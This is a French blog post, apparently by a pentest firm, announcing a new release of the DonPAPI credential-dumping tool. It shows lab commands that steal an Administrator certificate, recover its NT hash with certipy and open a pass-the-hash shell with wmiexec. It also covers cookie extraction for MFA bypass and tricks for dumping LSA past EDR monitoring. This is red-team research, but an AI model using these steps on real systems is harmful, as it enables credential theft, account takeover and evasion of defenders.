DPAPI : Don’t Put Administration Passwords In

Le 30 juin 2023, nous étions à LeHack pour parler d’un sujet qui nous tiens à coeur, la DPAPI (vous avez peut-être déjà vu notre premier article sur le sujet). Deux de nos pentesteurs ont animé une présentation intitulée DPAPI: Don’t Put Administration Passwords In (les slides sont dispo ici). Pour cette occasion, nous avons choisis de publier une nouvelle version de DonPAPI avec plusieurs nouvelles fonctionnalités.

Packaging

Dorénavant, DonPAPI est disponible en tant que package sur Pypi ici !
Vous pouvez maintenant l’installer tout simplement avec la commande suivante (désolé pour l’ASCII art, wordpress fait des siennes :/) :

$ pip install donpapi
$ DonPAPI -h


         ,
       ,                                                 LeHack Release! 💀
        (
       .                                          by Touf & Zblurx @ Login-Securite
                                &&&&&&
     &&&&&%%%.                  &&&&&&
      &&&&%%%              &&&& &&&&&&       &&&&&&            &&&&&.
      &&&&%%%           &&&&&&& &&&&&&    &&&&&&&&&&&&&     &&&&&&&&&&&
      &&&&%%%         &&&&&&&&& &&&&&&  &&&&&&&&&&&&&&&&   &&&&&&&&&&&&&
    &&&&&&%%%%%       &&&&&&    &&&&&&  &&&&&&    &&&&&&   &&&&&   &&&&&   #####
 &&&&&&&&&%%%%%%%     &&&&&&&&&&&&&&&&  (&&&&&&&&&&&&&&&   &&&&&   &&&&&   # # #
 &/&/////////////%      &&&&&&&&&&&&      &&&&&&&&&&&&     &&&&&   &&&&&   #####
&&/&/#////////(//%         &&&&&&            &&&&&&        &&&&&   &&&&&    ###
&&/&/////////////%
&&/&/////////////%        &&&&&&&&&        &&&&&&&&&&        &&&&&&&&&     &&&&&
&&/&//////////(//%     &&&&&&&&&&&&&&    &&&&&&&&&&&&&&   &&&&&&&&&&&&&&   &&&&&
&&/&/////////////%     &&&&&&   &&&&&&  &&&&&&   &&&&&&&  &&&&&&   &&&&&&  &&&&&
&&/&///////////(/%    &&&&&&    &&&&&&  &&&&&&    &&&&&& &&&&&&    &&&&&&  &&&&&
&&/&///(/////////%    &&&&&& &&&&&&&&&  &&&&&&&&& &&&&&& &&&&&& &&&&&&&&&  &&&&&
&&/&/////////////%    &&&&&& &&&&&&&      &&&&&&& &&&&&& &&&&&& &&&&&&&    &&&&&
&&#&###########/#%    &&&&&&                             &&&&&&
&&###############%    &&&&&&                             &&&&&&

usage: DonPAPI [-h] [-credz CREDZ] [-pvk PVK] [-d] [-t number of threads] [-o OUTPUT_DIRECTORY] [-H LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-local_auth] [-laps] [-dc-ip ip address]
               [-target-ip ip address] [-port [destination port]] [-R] [--type TYPE] [-u] [--target] [--no_browser] [--no_dpapi] [--no_vnc] [--no_remoteops] [--GetHashes] [--no_recent] [--no_sysadmins]
               [--from_file FROM_FILE]
               [target]

Dump revelant information on compromised targets without AV detection.

positional arguments:
  target                [[domain/]username[:password]@]

optional arguments:
  -h, --help            show this help message and exit
  -credz CREDZ          File containing multiple user:password or user:hash for masterkeys decryption
  -pvk PVK              input backupkey pvk file
  -d, --debug           Turn DEBUG output ON
  -t number of threads  number of threads
  -o OUTPUT_DIRECTORY, --output_directory OUTPUT_DIRECTORY
                        output log directory

authentication:
  -H LMHASH:NTHASH, --hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
                        command line
  -aesKey hex key       AES key to use for Kerberos Authentication (1128 or 256 bits)
  -local_auth           use local authentification
  -laps                 use LAPS to request local admin password

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Reporting:
  -R, --report          Only Generate Report on the scope
  --type TYPE           only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox
  -u, --user            only this username
  --target              only this target (url/IP...)

attacks:
  --no_browser          do not hunt for browser passwords
  --no_dpapi            do not hunt for DPAPI secrets
  --no_vnc              do not hunt for VNC passwords
  --no_remoteops        do not hunt for SAM and LSA with remoteops
  --GetHashes           Get all users Masterkey's hash & DCC2 hash
  --no_recent           Do not hunt for recent files
  --no_sysadmins        Do not hunt for sysadmins stuff (mRemoteNG, vnc, keepass, lastpass ...)
  --from_file FROM_FILE
                        Give me the export of ADSyncQuery.exe ADSync.mdf to decrypt ADConnect password

Plus d’excuse pour l’utiliser.

Récupération des certificats Windows

Depuis les publications de Will Schroeder et Lee Christensen sur les abus des serveurs ADCS, les certificats sont à la mode. Et il est maintenant possible de les récupérer avec DonPAPI. Les certificats utilisateurs et machines seront exportés sous un format pfx, utilisable avec l’outil certipy :

$ DonPAPI -pvk key.pvk testlab.local/test_user:[email protected] -o dump
[REDACTED]
INFO [192.168.56.30] [+] Gathering Certificates Secrets
INFO [192.168.56.30] [+] Found certificate for user Administrator. Writing it to dump/192.168.56.30/Administrator_testlab.local_D954AE81AD3F29CD.pfx
Issuer:			CN=TESTLAB-CA,DC=testlab,DC=local
Subject:		CN=Administrator,CN=Users,DC=testlab,DC=local
Valid Date:		2023-06-16 14:25:54
Expiry Date:		2024-06-15 14:25:54
Extended Key Usage:
	Unknown OID (1.3.6.1.4.1.311.10.3.4)
	emailProtection (1.3.6.1.5.5.7.3.4)
	clientAuth (1.3.6.1.5.5.7.3.2)
	[!] Certificate is used for client auth!

$ certipy auth -pfx dump/192.168.56.30/Administrator_testlab.local_E0F3243E939401FD.pfx
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:56a92b5bb5c2acbaf55c468dca2b2629

$ wmiexec.py testlab.local/[email protected] -hashes ':56a92b5bb5c2acbaf55c468dca2b2629'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

Contournement des MFA

Cette nouvelle release va également simplifier le contournement des authentifications multi facteurs. Lorsque DonPAPI collecte les cookies, il va les trier et les organiser dans un rapport spécifique, et simplifier leur injection dans votre navigateur pour permettre le bypass d’authentification et de mfa. Vous pourrez alors, via un simple bouton, mettre dans votre clipboard le code javascript qu’il faudra exécuter dans votre navigateur pour ajouter les cookies.

Mise à jour des Chrome browser et support de Edge

On le sait tous, les navigateurs sont des mines d’or quand on parle d’extractions de secrets. Dorénavant, DonPAPI extrait les mots de passe et les cookies stockées dans Edge, notamment grâce au travail de breenmachine.

INFO [192.168.56.59] [+] Gathering Chrome Secrets
INFO [192.168.56.59] [+] [MSEdge Cookie] for support.microsoft.com [ EXPID:b743f624-36ea-468c-acca-499ef6d075a5 ] expire time: Jun 15 2024 08:26:12
INFO [192.168.56.59] [+] [MSEdge Cookie] for .microsoft.com [ MC1:GUID=b54b8e2a46484af28026f916f9979e07&HASH=b54b&LV=202306&V=4&LU=1686817575288 ] expire time: Jun 14 2024 08:26:17
INFO [192.168.56.59] [+] [MSEdge Cookie] for support.microsoft.com [ MSFPC:GUID=b54b8e2a46484af28026f916f9979e07&HASH=b54b&LV=202306&V=4&LU=1686817575288 ] expire time: Jun 14 2024 08:26:17
INFO [192.168.56.59] [+] [MSEdge Cookie] for support.microsoft.com [ MicrosoftApplicationsTelemetryDeviceId:7cd0bfc8-73e0-4c87-8ed9-ddd510535682 ] expire time: Jun 14 2024 08:26:15
INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ buid:0.AQIAMe_N-B6jSkuT5F9XHpElWhkrJ-4RRD9DjyhcE8tv1AcBAAA.AQABAAEAAAD--DLA3VO7QrddgJg7Wevrg29EKUojuhsSiA06Z1wStxsu-NVGDRxXZMHSGtoode8cuBZN3dUTBBUL2X9iAZkFSgz-arOxuPbGscLvtBcWJWBmi1uiA6nUNP0A3aHJEWogAA ] expire time: Jul 15 2023 08:26:16
INFO [192.168.56.59] [+] [MSEdge Cookie] for .login.microsoftonline.com [ esctx:PAQABAAEAAAD--DLA3VO7QrddgJg7WevrjMnVVFFq8YvcBcwEJAuhYIA0MFcVv-qpzYVWMVruuZ8GGajcIDE3T_3G1GnfWne8c9TbopeEibhHCaZ5f58ABZAtLUDDnR3s8SMAkGjMY-Lh3tAtjCJcjww4qs94KTWAMvJLyolznYZZTzxH-qkd5om0kW7VEJrl1q7nBOvIleAgAA ] expire time: Jan 01 1601 00:00:00
INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ fpc:AqJCM_FeOw1Equvytm7d9uFqwEtIAQAAACTCHNwOAAAA ] expire time: Jul 15 2023 08:26:16
INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ stsservicecookie:estsfd ] expire time: Jan 01 1601 00:00:00
INFO [192.168.56.59] [+] [MSEdge Cookie] for login.microsoftonline.com [ x-ms-gateway-slice:estsfd ] expire time: Jan 01 1601 00:00:00

Quelques tricks pour dumper LSA sans faire sonner les EDR

Pour récupérer les secrets machine, DonPAPI a besoin de de déchiffrer les masterkeys machine. Et pour cela, il lui faut les clé DPAPI machine, stockées dans LSA. Long story short, pour récupérer les secrets machine, il faut dumper les LSA. Le problème, c’est que cette opération est souvent surveillée par les EDR.
Dumper les LSA, ça nécessite 3 étapes :

  • Activer les Remote Registry
  • Récupérer la Boot Key
  • Exporter le registre SECURITY

En modifiant le comportement de certaines étapes, il est possible de tromper la vigilence de ces outils. On peut jouer sur :

  • Le nom du fichier de sortie de l’export du registre SECURITY : Impacket génère un nom de fichier basé sur 8 caractères ASCII généré aléatoirement et l’extension `.tmp`. En modifiant le nom du fichier généré par 12 caractères avec l’extension `.log`, certains EDR perdent le fil;
  • L’accès à distance via les shares SMB : Par défaut, Impacket accède aux fichiers sur la machine via le share ADMIN\$, si on y accède via C\$, le comportement du dump est légèrement modifié;
  • La temporalité entre l’accès à la bootkey et le dump du registre SECURITY : durant nos tests, nous avons observé que si on faisait une pause de 5 minutes entre ces deux actions, certains EDR n’arrive plus à corréler les évènements.

Nous avons implémenté les 2 premiers points dans la dernière release.

Finally

Voilà tout pour cette release ! On remercie beaucoup les utilisateurs qui ont ouvert des issues et/ou fait des PR (elles sont toujours bienvenues).

Thomas SEIGNEURET - zblurxINGÉNIEUR SÉCURITÉ
Pentester & Chercheur en cybersécurité

Add a comment

*Please complete all fields correctly